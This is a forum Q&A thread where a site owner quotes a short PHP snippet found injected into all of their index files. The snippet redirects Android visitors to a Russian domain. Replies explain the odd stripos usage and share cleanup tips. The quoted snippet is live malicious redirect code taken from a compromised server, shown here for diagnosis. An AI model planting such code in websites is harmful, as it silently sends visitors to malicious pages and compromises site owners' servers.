1

I found the following in every index file of my sites on a server I have. It looks like its redirecting all android users to some spooky Russian site.

$ua = $_SERVER['HTTP_USER_AGENT'];
if(stripos("***$ua",'android') !== false){
header("Location: http://andsecurity.ru");
die();
}

My question is: In the stripos function, they add three asterisks in front of the user agent variable, why would they want to do that? What does that do?

  • The *** before $ua don't seem to actually do anything. I'm not sure why they are added here. – Rocket Hazmat Oct 13 '14 at 19:16
  • I know this is a bit offtopic, but i'm facing the same problem, was you able to find where the malware was infected? I cleaned as much as I could but some index.php and .htaccess are still being modified with the exact code as yours. Could you send me some hint here or to soy [at] marcosbl.com ? Sorry for disturbing ! – Marcos Besteiro López Oct 15 '14 at 9:59
  • Nope, spent 2 days going through server. It is actually astounding how deeply infected my server is. Someone recommended using maldet as a more robust and comprehensive solution. I imagine I'll be trying to implement it in the next few days. – SpookyRussianSites Oct 16 '14 at 18:23
  • Same here, but for now I managed to get it fixed with a bit of help from AIDE. First i made broad searches of files containing "eval", then noted a bit of the encoded garbage and searched for that strings. Note I found 2 different ones, one is the worm itself and the other is the "web control panel". After deleting them all I installed AIDE, to avoid this problem in the future, some help here: pka.engr.ccny.cuny.edu/~jmao/node/30 snekul.com/wordpress/blog/2012/09/27/… – Marcos Besteiro López Oct 17 '14 at 9:11
4

It could be due to a (previous) bad code or to avoid warnings/errors in responses.

stripos returns the possition of second parameter in first one, starting indexes at 0, so in a bad code if (stripos($ua,'android')) the condition would be skipped as false in the case the string started with android.

Correct solution would be using === and !==, but prepending a string that wouldn't match prior to the test string, makes any match to be at least at value 1 (3 in this case), avoiding the need to use !== false.

It also covers the case where user-agent is missing to avoid any kind of warning/error at running time.

  • 1
    Wouldn't the first line of the code trigger PHP Notice: Undefined index: HTTP_USER_AGENT upon setting $ua if user agent is missing? – Question Overflow Oct 14 '14 at 2:00
  • 1
    True. Also it seems that stripos does not warn if searching an empty string either as I suppossed it would. In any case, that's the only reason I came up to. – NuTTyX Oct 14 '14 at 8:34

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.